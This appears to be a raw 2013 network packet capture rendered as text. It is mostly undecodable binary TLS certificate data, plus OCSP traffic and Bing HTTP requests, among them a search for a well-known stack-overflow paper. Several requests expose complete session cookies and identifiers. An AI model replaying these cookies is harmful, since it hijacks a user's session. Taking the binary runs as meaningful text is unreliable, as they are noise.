;MN9\IZӲp0B+QZ<:"OSO4{o00U00DU =0;09 `HE0*0(+https://www.verisign.com/CPS04U%-0+++ `HB `HE0 U0 `HB01U*0(0&$" http://crl.verisign.com/pca3.crl0  *H @IsݎM>aʠb u=n,ǿ6ʢМrF9eļ-; x+Lbz3s-*(IHKH{$8oATWkǢԩ6buրq+1 <<RT5':{E(@|  E_xPH(twitt+* RT5':{E@  E_xPh*qy&PND: XǹklL̞8(R[3@]Ms?1ԔeYdY -D=2}=̠: i:YmHҏ|F7;J޷J9-"Jnl$3jH<3s3`}ǜ < ˵w@5\`y@M%4]<@A'>EvGD+ 66':{RT5E(@e E ‘`VP{+( ':{RT5E@Kf9 _JPKUQQBr#o ղa䐨%' RI7w 7'n(:n'tG55 M IF;070+N,ǁ5ҹL}0  *H 01 0 UGB10UGreater Manchester10USalford10U COMODO CA Limited1604U-COMODO Extended Validation Secure Server CA 20 120301000000Z 140323235959Z0.10U 60041348310 +7<US10 +7< Washington10UPrivate Organization1 0 UUS10 U9805210U WASHINGTON10URedmond10U 1 Microsoft Way10U Microsoft Corporation10U Search Operations10U  Comodo EV SSL10U ssl.bing.com0"0  *H 0 ,%[斈\E2㱉f-*:dg\do6l7u_P2+@YyfAa%p'kw~vPV zbo(Bvrqfm}ۧ)@9a"pv^$7 `܏+._$kxڥMB yJUu zDmse4v((̳.n:q}0#++sdXp. 'h&a*W00U#0z+@ #Bh0U羚b0U0 U004U%-0+++ +7  `HB0FU ?0=0; +10+0)+https://secure.comodo.com/CPS0TUM0K0IGEChttp://crl.comodoca.com/COMODOExtendedValidationSecureServerCA2.crl0+z0x0O+0Chttp://crt.comodoca.com/COMODOExtendedValidationSecureServerCA2.crt0%+0http://ocsp.comodoca2.com0)U"0 ssl.bing.comwww.ssl.bing+) RR':{RT5ED@P9 _JP.com0  *H By+f* ':{RT5E@Kd9 _JP%zm ^ &fC :?j<Χx2ш^Fߔ `hŚ麽'4l-jzGu*{W)q;ݩ/ gLMdFZ7T}H\;0Cf3G{߼dv״ S-S̥%Q~!iAWтoӥ6\$!Rl |ڀ\e:q&;/=!VHؠmF"BJjMr+ܓhN 0 0)Qa7Ed:30  *H 01 0 UGB10UGreater Manchester10USalford10U COMODO CA Limited1'0%UCOMODO Certification Authority0 100524000000Z 200530104838Z01 0 UGB10UGreater Manchester10USalford10U COMODO CA Limited1604U-COMODO Extended Validation Secure Server CA 20"0  *H 0 kųk'WND楘"Րط{;]MUq0=h %\YV,CTqc~mOy㬿dreK ϠC$)BwayF#lVj?M۹:pst.3p5uMa'4$p D<PL9XTᙛ>OEIZ?i'k/l:wtNEt4ן:g-,E&|wj0f0U#0 XL7@0!G6ZV0Uz+@ #Bh0U0U00>U 70503U 0+0)+https://secure.comodo.com/CPS0IUB0@0><:8http://crl.comodoca.com/COMODOCertificationAuthority.crl0u+i0g0>+02http://crt.comodoca.com/COMODOAddTrustServerCA.crt0%+0http://ocsp.comodoca2.com0  *H  *͑;\$D4|82Vb{(9Guesa3EFU<.C/nȯ}y{&Ñux~r[ CȰ#[b+* <<RT5':{E(@ 9_JPH++ RR':{RT5ED@P9 6_JP=c<ÌTxQDCJ@tT+Q, <<RT5':{E(@ 9_JRPU EDEBF+- ':{RT5E@K9 R_JPkG.M` /p ZiӴ!38\Ԝ`/SFɥݐHT6SKSgԘYHZ*Af&00٠o%^V ;zO0  *H 0o1 0 USE10U  AddTrust AB1&0$U AddTrust External TTP Network1"0 UAddTrust External CA Root0 000530104838Z 200530104838Z01 0 UGB10UGreater Manchester10USalford10U COMODO CA Limited1'0%UCOMODO Certification Authority0"0  *H 0 @rQTө]; /?)P;WtQqBMAjwDYfP^,pD7Bi<0qR!Mغ9|$|C[4b&F?Wz r0jfFphHw޵gmA92b=n7/Ӣ&ƸUC#>$9jGԡ% ?Q ڬ8UP$eF4O-!ҎaqsGMNH&t0p0U#0z4&&T$T0U XL7@0!G6ZV0U0U00U  00U 0DU=0;09753http://crl.usertrust.com/AddTrustExternalCARoot.crl0+00?+03http://crt.usertrust.com/AddTrustExternalCARoot.p7c09+0-http://crt.usertrust.com/AddTrustUTNSGCCA.crt0%+0http://ocsp.usertrust.com0  *H `G73?d.% 3 ~F{YI4-7_%k#w@LIE1(g)Luy1675O~Fhp#0.\{yKB,l"(SJ(: @2OoPv6lۻ(Ϲq]JFsABCo5`z{m>jП [yG53hU[0 hDQJ+; ||RT5':{En@ϸ 9_JPۤFwz{SݰW~ zi 3zm+d5&&R_eSf^_JnKx<uͦ9y%bv,WB3m:2 aiZO@/5أڄmlm{;\DĹ[qs?gH gO;sRw(gS!MH'H۝uh` rq<'i bBu؆>>sha֮_.Eɀ}jlֲ̲»t<aX ÁL+t[ mQ%#UReU,몁)yl 2z, U 5ũy#Ez{$#(*5SUq6xQ{L6%ݔ *+C~ kk':{RT5E]@( E `VP0TﵹAL phEQV*ԯ @Vtl~BAY1bJ+ <<RT5':{E(@f  E`VP FHEPF+ ||':{RT5En@`  5Z(Bzocspverisigncom ocspverisignnet/0H+ ':{RT5E@`x  5<ocsp comodoca2com "ocsp comodoca2com edgesuitenet0%a1638bakamaiM^2z^2Y+ >>RT5':{E0@ 0HPg p R+ >>RT5':{E0@Y 2zPV p+P qq':{RT5Ec@P9 _LP0.G5ז0u?xw2h:3 h.K 5+ <<RT5':{E(@w 2c PPVdownl+, ::':{RT5E,@U2z P|V `+# <<RT5':{E(@_ 2zPV |P+q2 RT5':{E@ 2zPV |PNXPOST / HTTP/1.1 Host: ocsp.comodoca2.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request 0q0o0M0K0I0 +4m Gwx~iNz+@ #Bh+N,ǁ5ҹL}00 +0 0  +0+3 66':{RT5E(@X2z P|VP+` >>RT5':{E0@ 0HPٜ(p*l+_ ::':{RT5E,@u0H Pvg `!+ <<RT5':{E(@ 0HPg vP+ RT5':{E@ 0HPg vPDPOST / HTTP/1.1 Host: ocsp.verisign.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request 0q0o0M0K0I0 +x ~o|w޳#]Dۦ.r00 +0 0  +0+z 66':{RT5E(@u0H PvgPP+5B ::':{RT5E,@u0H Ppٜ)`:+H <<RT5':{E(@ 0HPٜ)pP+@j tt':{RT5Ef@2z P|VPHTTP/1.1 200 OK Server: Apache Last-Modified: Thu, 14 Mar 2013 22:26:31 GMT Expires: Mon, 18 Mar 2013 22:26:31 GMT ETag: 1321185F1A384F83105B402AD90A169FCCEF5A13 Cache-Control: max-age=335775,public,no-transform,must-revalidate Content-Length: 471 Content-Type: application/ocsp-response Date: Fri, 15 Mar 2013 01:00:12 GMT Connection: keep-alive 0 0 +000z+@ #Bh20130314222631Z0s0q0I0 +4m Gwx~iNz+@ #Bh+N,ǁ5ҹL}20130314222631Z20130318222631Z0  *H -c!d-jX>VF(epDDL]_LD,ڥ&{}Uh$w,crDl*˚4jB^|]qxBִR3ȲTth$/Ir'wDRڢbҴޑK$`AG $6{'4`khCQ*۰lHj2Dyg7lԉtk3qPYd8]1Ff$f.槿!3~+z ':{RT5E@tO0H PvgPPHTTP/1.0 200 Ok last-modified: Wed, 13 Mar 2013 07:10:00 GMT expires: Wed, 20 Mar 2013 07:10:00 GMT content-type: application/ocsp-response content-transfer-encoding: binary content-length: 1814 cache-control: max-age=454188, public, no-transform, must-revalidate date: Fri, 15 Mar 2013 01:00:12 GMT nncoection: close Connection: Keep-Alive + ':{RT5E@qD0H PwcgPP0  0 +000A010U VeriSign Trust Network10U VeriSign, Inc.1?0=U 6VeriSign International Server OCSP Responder - Class 31301U *Terms of use at www.verisign.com/rpa (c)0320130313071000Z0s0q0I0 +x ~o|w޳#]Dۦ.r20130313071000Z20130320071000Z0  *H ʁUɬse2( ܮ75V?6 rį+sWQpaA˙8:~棴δWyȟp-<` g^fH{0U{&_fJ\JӍ)T@Ըj˪*48RJ7^2&+g+t uH_K|'OH`]W7; +8%Խ{ه00 U00U 00 `HE00(+https://www.verisign.com/CPS0b+0V0VeriSign, Inc.0=VeriSign's CPS incorp. by reference liab. ltd. (c)97 VeriSign0U% 0 + 0 U0 +00%U0010U 2048-TGV-19840  *H &gbfN W̹W;tKd< aQƞj>pcn6\5pcI˝@C]N~t6LqK܏[ڻx~/UPaHzW+lCڵp9+y <<RT5':{E(@ 0HPgP{PT+ <<RT5':{E(@ 9_LPP+K 22RT5':{E$@H  E`VP3U?kNΥ@J>>lE UeD(]}<9e[;'͕$"Z'Ku6QX`/Ёvzi~{p+HbX[ DbzxN᤟_.MϥEFT{\GPPb5lS],LJptTJUnQG+jιLs"3)v:fH)ag0V.1 cY|.N#$%Mj]60>M>#kLCD |\rWc̻h\ YeeTBM54)'1x!_-t_(7c}r ئ&!L#JA;Ϣ"MT+J3rJ,M<-~.C~Qؐ9G`P`s\H8d?=uWQ`jU^}QD 0+man*@mЍ^?y@ Үy4{cgr^ΨLn \?.$&>qT"YHĐq[D y4Xt)8TuZA_UT̟- AO(2=[㘷xlX6$NЛ0oMp!_2}H"xrꐉkc(9g[Xl+JUa."xE7 Y!AV@Uv+ 66':{RT5E(@P E cRPL+ RT5':{E@t 2zPV@PhPOST / HTTP/1.1 Host: ocsp.comodoca2.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request 0q0o0M0K0I0 +d krUfgSVH XL7@0!G6ZV)Qa7Ed:300 +0 0  +0+u 66':{RT5E(@O2z P@VTP+~~':{RT5Ep@ E cRPd$CH7핥/,&[BN=R* }p'H]žؽѦ󦒩2jxB^l&Z `a`*\H)Ҟi~GxIDY}3iM%!XWZ( }lt0!{RP[O10l)'ObI/sa<~|"⩕s12xw$,CLd7f2Br`i@^flt#rU`{ŝDX-Q]ATtsm2P$ +ׅx`iNTB;d}=O+:tt':{RT5Ef@2z P@VTPHTTP/1.1 200 OK Server: Apache Last-Modified: Thu, 14 Mar 2013 07:00:27 GMT Expires: Mon, 18 Mar 2013 07:00:27 GMT ETag: 86E42F55806451EB6D8CCA4F1094C6D269441D92 Cache-Control: max-age=280211,public,no-transform,must-revalidate Content-Length: 471 Content-Type: application/ocsp-response Date: Fri, 15 Mar 2013 01:00:13 GMT Connection: keep-alive 0 0 +000 XL7@0!G6ZV20130314070027Z0s0q0I0 +d krUfgSVH XL7@0!G6ZV)Qa7Ed:320130314070027Z20130318070027Z0  *H rHP19rWr"2Dxj2g#gnp{^x,kDz4=#]09 pԃ弋w"]{ h"e y-aAƀ0:c^A#Wդ{Mpl˺a)H:Hh).g 4YUYQ [;c]wcyma*3Xa_q6FU6̣;[jaV&Fý% ]b,zP, <<RT5':{E(@ 0HPgP~yPETGET /s,+  RT5':{E@ 9_LPP o>ms6/*$W'|$@&jtۍg-8 c3>i9Й ># tQbEfVR #DA Z:DV)5WhBj5pjz#ոTb i55nz:ҀzG{\=W1RP4{6So/%yyq|v1iKNRmR0'k ݁&ev5)ٗ~,ڱѓ Bdh9AV$f1 j0I Og6˚˜C@2 4/>Fe;anA*EJ ZFZë S%9Aga/jNjQ67>称vpM`_U҃r(bzQTj%Ea ۳hLcX`rR=>MμE}!g.O d 1rCsZmÊ(>ZEM^Ə-4σh8nd]$\f:E|!b)9ʯ*3&`ѻZrq*w Umj$ oşUWg.Kcdk̚SO2a;`/zd|x<}nZzL]朰tq*%}m*ZWz;L<3X؏RG,,66':{RT5E(@P9 _OPu,:JJRT5':{E<  5(Ploginlivecom,bRT5':{E@r 2c P]/'4P2yGET /together/sp/fetch?q=smashing+the+stack+for+fun+and+profit&form=MOZSBR&pc=MOZI&&IG=417a057ebc3c4bba90618060707d1ff1&SFX=1363309211945&IID=SERP.90000& HTTP/1.1 Host: www.bing.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://www.bing.com/search?q=smashing+the+stack+for+fun+and+profit&form=MOZSBR&pc=MOZI Cookie: MUID=38374CC080996BD61C8548DB83996B1B; MUIDB=38374CC080996BD61C8548DB83996B1B; SRCHD=SM=1&MS=2736037&D=2736037&AF=NOFORM; SRCHUID=V=2&GUID=9CF4CBDBA89A473F9A73016954C78C85; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20130315; SRCHHPGUSR=CW=1583&CH=620; _SS=SID=300CD838EDF147299AA4DE75DA922896&C=21&nhIm=53-; DUP=Q=ESSuiwDDtYbmkC3L5Moy&T=164163611&IG=417a057ebc3c4bba90618060707d1ff1&V=1&A=2; SRCHS=PC=MOZI; FBS=WTS=1363309212698; WLS=TS=63498906011 ,yc66':{RT5E(@b2c P '4]/sP,5s':{RT5E@`0  5Ξ loginlivecom loginlivecomnsatcnet,A6,A6k,A6,A6,A6,A6M,A6/,A6,~>>RT5':{E0@u A6v-pQ&,':{RT5E @O9 _OP Zd9o dl ?"U,`&%gڷ&tW'- "P4#H6H ho[q4a90Q!.ils pػ{u#PU _Ҏ8?I҂_,㱃zo  FCQ9v~WZHEɸA˕6 H*Z3ǯCbi_?ɊlMa碟K"H..xA-?t\KFVIZQt/@T2 &+d MXX9JW42>)p\H) _=fq𛤩eQtT[fڇS>Ly m]#+J?Tqk4J`3fke"|$ɪSʱEa &@rX)l8G"lT6QFe VɱH_1~QJ~p( S{]__2Opik'1Ea j* AVN eE-Eu9tb!+E*e-l>*@GLd? L)geA{$ ǭXяVR,Lb. f@VNP2n&HUjm%.\*b>O08ǝC;͡gWdKdM5,~RR':{RT5ED@A2c P ,]/sP RŔtƕ<ӱeHfvjNb+]StBK?dփv_/,|-:d܇Eh=[7Yghvn|[f.U-a,+ueo <ߧ miqT+cLw{LQs 5KOf.nM:-9Iv؎vl\:NRf30С 8Kſ!. A@W%}(?ThV <9([tǒ~Y :dއ} 傼Т:Nl<z@e m)O#;pė]U[HSI'P-k¯'&eTQIފF \iCwv*򘒧1#gh$-$۾r"I8[qaYgI}(.5O}2c\i6{`ZW|? _PD]8{+wI7dϫ'ؕ!\]:D n5JB!{P3r VU%E_7~^=FX\֩Ǵ'/7rx#ILд`/:azvDҺ1 Ӏe{xΌh-!WFX`/'"]ԽNL%oWDOQa  L9F$`dJ&SO%`ju}| "1}FڝU%eH;槝1W5Lo*bII!^G|Trpim fh/a7Q/bd,QWfqt%lag:XD텴k6v2z!6l$( 0dG%ϨfjX-1bz_^,9ACg@JjI>lC."Jhn`^^:5?yfqvqݎͥP0ɑN!_^Jecha~>f 7Gv`No x g;DUg+pnw5AYM㸼/M%ư~dǞ߳xf6e3y]:in+y FǬY]zF>W?fmIhBki4k,[RR':{RT5ED@>2c P 2h]/sPYO5鹤'BH `核kͪj,<<RT5':{E(@4 2c P]/s,PH ,z<<RT5':{E(@3 2c P]/s2P,':{RT5E@͸2c P 2]/sPEMH?dk r/ԣ^:wrXck5yt|z8cE>RBZD u54LplN!3f]|,j3ӞQ-h FE,hrnwoԂv~\>G]8&8*+e #А$5i?Ȇ|-W):-c f=`zjc"VT,:̃5v6ak8JXKI[''rHs!H"^{Pv0|wu~>kaR9i%:dc |%f^_]UvL&*&m.&+9Ѳ' 4W[ޒБDŽ@}b?{8|tEc]7y,X;WzRg]v .˾>br5>uqŜ(z\}-/˜6`ojŎybZ!k: W$w\GUK/O**5B(zCe$zU wI{8ߜxb5.7ruQr*hűKў>z]n?E~k|*IIkH7 / : vd:hwIq@ <۹l%#iVSIړcޜҎ^̓p. Yzj=[Ef1e3 x4j4*߸;<3[Ffٴ>8xXL#=`L>L Y;Nh=8b<-< of<8:.,ʎ:.!k&ׁDl.(}_f0A{1Fw $ʻTAVR QZ5@^;.Ff9o j]I!q JAU vgoJkCǻLdeI+rV[ƱKTIm4L-UѳI3%\'hu9BGrxefgDiX2>/{a-ZfS?:¸^]r-{HJJ{] ûlޭ7Yso& qS }XYFYM{}˿N@xB#7+n_<տFN~Its;6@M϶KPhwEFgj:+C[ >}` ][x7Xf<{[aAqi"qxtTϷVٶJa3IOY}iCj 4d[ )ƇXsHv&j">a&t[Uv |Vz$Ыq "ƱW*^ z:~k@df/jEm`^Cׯp'}HkY @?2c P =]/sPDio^#ʣy5ߔ7{$LY#Mk KG͛Q QoZ>U).= ?o'דIp3Û ?C+4َ3p zޫU?vRȠ):df%Ш$Ti%KUڡ 4 s; ;z`LWYwm)=3&W"QI` Ŷea@ٗ~6"`-ZKHihTxHΪ &)#`9p|o@O~w쬚wN%~{*BCl m :! fڑM^TCeJ^ 1T^B9ĬeH.csWPk4ŷ<"ЉӠ$@r_#s*1o{u1=iu U`A_!ȲYv5 ؐ-b/k{J_kwGݗ[V57ʢ!jG7*clRz,`dD?hPq'w뱿w48 ?kp64yhɻɊQ&z9,җTRCԜ<?A`fx FM#`U߿_(ѡ\a w_~/~vΣ`6'q2Iq"|n!w*ъG? . 6 Vwn E_Osh҈x?V j,<<RT5':{E(@1 2c P]/s=Pi,%=jjRT5':{E\@ 2c P]/sBPگmGET /fd/ls/l?IG=417a057ebc3c4bba90618060707d1ff1&Type=Event.PPT&DATA={%22S%22:637,%22E%22:1316,%22T%22:0,%22I%22:0,%22N%22:{%22S%22:{%22S%22:637,%22E%22:1311,%22T%22:9},%22SG%22:{%22S%22:1267,%22E%22:1274,%22T%22:7},%22ST%22:{%22S%22:637,%22E%22:637,%22T%22:0}},%22M%22:{}}&P=SERP&DA=BN1 HTTP/1.1 Host: www.bing.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://www.bing.com/search?q=smashing+the+stack+for+fun+and+profit&form=MOZSBR&pc=MOZI Cookie: MUID=38374CC080996BD61C8548DB83996B1B; MUIDB=38374CC080996BD61C8548DB83996B1B; SRCHD=SM=1&MS=2736037&D=2736037&AF=NOFORM; SRCHUID=V=2&GUID=9CF4CBDBA89A473F9A73016954C78C85; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20130315; SRCHHPGUSR=CW=1583&CH=620; _SS=SID=300CD838EDF147299AA4DE75DA922896&C=21&nhIm=53-; DUP=Q=ESSuiwDDtYbmkC3L5Moy&T=164163611&IG=417a057ebc3c4bba90618060707d1ff1&V=1&A=2; SRCHS=PC=MOZI; FBS=WTS=1363309212698; WLS=TS=63498906011 ,=66':{RT5E(@T2c P B]/P,'DGGRT5':{E9  5%=4a4bingcom,d<<RT5':{E(@А 9_OPinsec,z':{RT5E@`{  5uD4a4bingcom a134lmakamainet)2P)2s)2c,/>>RT5':{E0@" 2PPi*?p,E::':{RT5E,@a2P Pdi*@`],<<RT5':{E(@) 2PPi*@dP)wwwm, 66RT5':{E(@( 2PPi*@dPT:GET /fd/ls/l?IG=417a057ebc3c4bba90618060707d1ff1&TYPE=Event.ClientInst&DATA=%5B%7B%22T%22:%22CI.Init%22,%22FID%22:%22CI%22,%22Name%22:%22Base%22,%22TS%22:1363309213241%7D,%7B%22T%22:%22CI.Resize%22,%22FID%22:%22SPV2%22,%22Name%22:%22WideDisplay%22,%22TS%22:1363309213241%7D%5D HTTP/1.1 Host: a4.bing.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://www.bing.com/search?q=smashing+the+stack+for+fun+and+profit&form=MOZSBR&pc=MOZI Cookie: MUID=38374CC080996BD61C8548DB83996B1B; SRCHD=SM=1&MS=2736037&D=2736037&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20130315; SRCHHPGUSR=CW=1583&CH=620; SRCHUID=V=2&GUID=AEF078CFBE044FBCA10DB7D0FEC59972; _SS=SID=300CD838EDF147299AA4DE75DA922896&C=21&nhIm=53-; DUP=Q=ESSuiwDDtYbmkC3L5Moy&T=164163611&IG=417a057ebc3c4bba90618060707d1ff1&V=1&A=2; SRCHS=PC=MOZI; FBS=WTS=1363309212698; WLS=TS=63498906011 ,66':{RT5E(@d2P Pdi.@P,300':{RT5E"@V2c P B]/PHTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: Sun, 12 Oct 2003 00:00:00 GMT Content-Length: 42 Date: Fri, 15 Mar 2013 01:00:13 GMT Connection: keep-alive GIF89a!,L;,a':{RT5E@kA6 jv-WP8MQBr`޼; ҪnXcC &X88ZRt)o@+:$/4[e0 0 0lsQn~lO|0  *H 01 0 UUS10U VeriSign, Inc.10U VeriSign Trust Network1;09U 2Terms of use at https://www.verisign.com/rpa (c)061806U/VeriSign Class 3 Extended Validation SSL SGC CA0 120918000000Z 140919235959Z010 +7<US10 +7< Washington10UPrivate Organization10U 6004134851 0 UUS10 U9805210U Washington10URedmond10U 1 Microsoft Way10U Microsoft Corporation10U Passport10Ulogin.live.com0"0  *H 0 N*al=#AEKiU705031/-http://EVIntl-crl.verisign.com/EVIntl2006.crl0DU =0;09 `HE0*0(+https://www.verisign.com/cps04U%-0+++ `HB +7 0U#0NCv7SzOXo8ս0v+j0h0++0http://EVIntl-ocsp.verisign.com09+0-http://EVIntl-aia.verisign.com/EVIntl2006.cer0  *H ~_@1+۴yS/=',]dRR':{RT5ED@puA6 ov-WPwNvO?2%aQpyL'ְV,Ae':{RT5E@kA6 ov-WP1uthŧddR|3\Ix{_-/)r lwF2|~ a{qnܑg(0!ԋKZ޽\qɤ_mOYB*xֺp(xJ+%i,I 3hו>nҩB ɥ!,H^9K ח+5ؔ3)]@0 0*m7o|0  *H 01 0 UUS10U VeriSign, Inc.10U VeriSign Trust Network1:08U 1(c) 2006 VeriSign, Inc. - For authorized use only1E0CU_z\m|t]a^HfE9 pv"K`*4Ig&لmp;wXOaK00/51:2~X ~0  *H 0_1 0 UUS10U VeriSign, Inc.1705U .Class 3 Public Primary Certification Authority0 061108000000Z 211107235959Z01 0 UUS10U VeriSign, Inc.10U VeriSign Trust Network1:08U 1(c) 2006 VeriSign, Inc. - For authorized use only1E0CU c.*$LA޲{t][$qDݽ~ =h%AT{1 i0 e&v5PZMVKsT3 PŢ4IgzJwi8W2 :]E,<<RT5':{E( @N A6v-WzPHwwwp,RT5':{E!@ A6v-W|PFfba:"tk|/E>RT5':{E0,@= ;HPZgpsX,<<RT5':{E(-@ 2c P]/CP% adver,::':{RT5E,@j;H PXZh`+#,a<<RT5':{E(.@C ;HPZhXPG onlin,  RT5':{E/@n ;HPZhXPPOST / HTTP/1.1 Host: evintl-ocsp.verisign.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request 0q0o0M0K0I0 +99VXtNCv7SzOXo8սlsQn~lO|00 +0 0  +0,m66':{RT5E(@j;H PXZ6ۼ*b!7] 2dAXP _ GGD#q =AGv7MT nt^l@C$)1DKm/UgƗP17yqwyF>]x͘=9D5Vṝ*D'[tSRW'}v& e[Ԛ8(@p>D6020.0AW^6X_0  *H 01 0 UUS10U VeriSign, Inc.10U VeriSign Trust Network1;09U 2Terms of use at https://www.verisign.com/rpa (c)061806U/VeriSign Class 3 Extended Validation SSL SGC CA0 130126000000Z 130426235959Z01 0 UUS10U VeriSign, Inc.10U VeriSign Trust Network1;09U 2Terms of use at https://www.verisign.com/rpa (c)061D0BU;VeriSign Class 3 Extended Validation SSL SGC ,K<<RT5':{E(2@? ;HPZ<]P@Ofeedb,_':{RT5E@g#;H P]Z'H'Y_oTpQ} %L@uLߠyz۝6ʣaqyh+m'}b?c CxrSS9#=#>\(UdHᗧ7Dm#֔-?Jw\ 04XOǂNk ;4|~#G00 U00U 00 `HE00(+https://www.verisign.com/CPS0b+0V0VeriSign, Inc.0=VeriSign's CPS incorp. by reference liab. ltd. (c)97 VeriSign0U% 0 + 0 U0 +00%U0010U 2048-TGV-18340  *H Iݕ5IyGw]UݏRΆd6h EsQ,ŵ)`Gmj:Zeu?'9m4Ք${A hoyY>cd\şw;,VVRT5':{EH< Y  {54F|_ evsecure-ocspverisigncom,j':{RT5Ew@`z  5{c=q_ evsecure-ocspverisigncom ocspverisignnet820H,/>>RT5':{E0?@* 0HPp,Qe<<RT5':{E(@@ 2PPi.@dP),::':{RT5E,@u0H PR`[,[<<RT5':{E(C@. 0HPRP',  RT5':{ED@W 0HPRPcPOST / HTTP/1.1 Host: evsecure-ocsp.verisign.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request 0q0o0M0K0I0 +鲇B>I$&e0 C9313*m7o|00 +0 0  +0,66':{RT5E(@u0H PRPB,qq':{RT5Ec@pEA6 |v-PS0?aSEI?HXcJA2g7J#>0?LJ(, ':{RT5E@t!0H PRPHTTP/1.0 200 Ok last-modified: Wed, 13 Mar 2013 09:04:53 GMT expires: Wed, 20 Mar 2013 09:04:53 GMT content-type: application/ocsp-response content-transfer-encoding: binary content-length: 1891 cache-control: max-age=461080, public, no-transform, must-revalidate date: Fri, 15 Mar 2013 01:00:13 GMT nncoection: close Connection: Keep-Alive , ':{RT5E@q0H PScP0_ X0T +0E0A001 0 UUS10U Symantec Corporation10U Symantec Trust Network1=0;U4Symantec Class 3 PCA - G5 OCSP Responder Certificate20130313090453Z0s0q0I0 +鲇B>I$&e0 C9313*m7o|20130313090453Z20130320090453Z0  *H 7Y'RFdyuH|]#֜Z-QRIuYv7Z &th(@JrkZj<*"'fDxC&R.F4_q7000H2F\nѿyi"kΞ 0  *H 01 0 UUS10U VeriSign, Inc.10U VeriSign Trust Network1:08U 1(c) 2006 VeriSign, Inc. - For authorized use only1E0CU]{`{" gȏ23W#}vWVY\|7NfD[bzu+},eruX_AҖy#cpQϑ/KC=X3mKX>}?aսWZkฑK9]ҺjlYLJTC[DJwDWײ3i~7r &N[~?)h uz\ӪE{φKI/) ɊȈ wɩ7$Fdg@4`VE*h5_7pADNTO&nmE`~:(ǎ_Ҡ}"AΪ T: a]쿧Ĩ0`ؐQt() fs#:22qdkΖ|U?9z.*ڴ&XEL&43ǶD0LJ˒+wF_'Y&ۚ$AUyG@r,q 66':{RT5E(@p|A6 |v-gP, [[':{RT5EM@nVA6 |v-gP  +/yHZs j`abwG |ϛ Fg mNr+O,Zgt,}!ʉsz;{gNH3n-tKI/V3̱tIOh0r8׮Tmc`*>Y%/Bo8'ߴ`>u7fsvz*+uҦ~7:6Б錇J:@$܏ z%]MD$N#mftQ(+sӽVF(:w"lTOv sYoOʧMVH\0g:tc~EA>`ņ/W W%+ 4mWIQw+H &OPtunD sNu}˛ItCI;8?+, 66':{RT5E(@pzA6 v-gP,\ <<RT5':{E(N@ A6v-gPH, [[RT5':{EMP@ A6v-gPM j%D2^QGA,0 >r,P <<RT5':{E(Q@ A6v-P", 66':{RT5E(@pyA6 v-P, 66':{RT5E(@pxA6 v-P,L <<RT5':{E(X@ 0HPZPƅ,$ RT5':{EY@ 9_OP fybR3n?kKco@㹅4b*kT=@j0?IEAPTl߱(Q}cD}WpNc21#zJoK<711n=抟;ע G#^bj=`B<Oes.]BcRSʕdW"WGcq i5Yw4:m 5}ŷP5`HLx:r"O9sa|IDPi?-F4`s*|.=g\1Rj6NA0n3g;kOuU.І^j] ,"󎆀ij{QuQ7?J GLm ŅZEA5 tA-, 66':{RT5E(@P9 נ_RlP&,W ':{RT5E@OE9 נ_RlPX`hOV)*@MBыBYU$H3K<[qzN^#ɘq _Q6_g'7/B{s :L3Ϧӱ)HO>RSC %2$~`htNAwbquI.zPdd}e`}]T ~x443k5RvtЉ+U\5@:=䏥ɟH9ug_cP4ʶ 4yQ۹_Vm8pBPŁX+وPHCBn9#]ـ=&I<}#n-YXAaA ,PIe"t˫#>o?73,v RT5':{Eb@e 2c P]/CPGET /Passport.aspx?popup=1 HTTP/1.1 Host: www.bing.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://www.bing.com/search?q=smashing+the+stack+for+fun+and+profit&form=MOZSBR&pc=MOZI Cookie: MUID=38374CC080996BD61C8548DB83996B1B; MUIDB=38374CC080996BD61C8548DB83996B1B; SRCHD=SM=1&MS=2736037&D=2736037&AF=NOFORM; 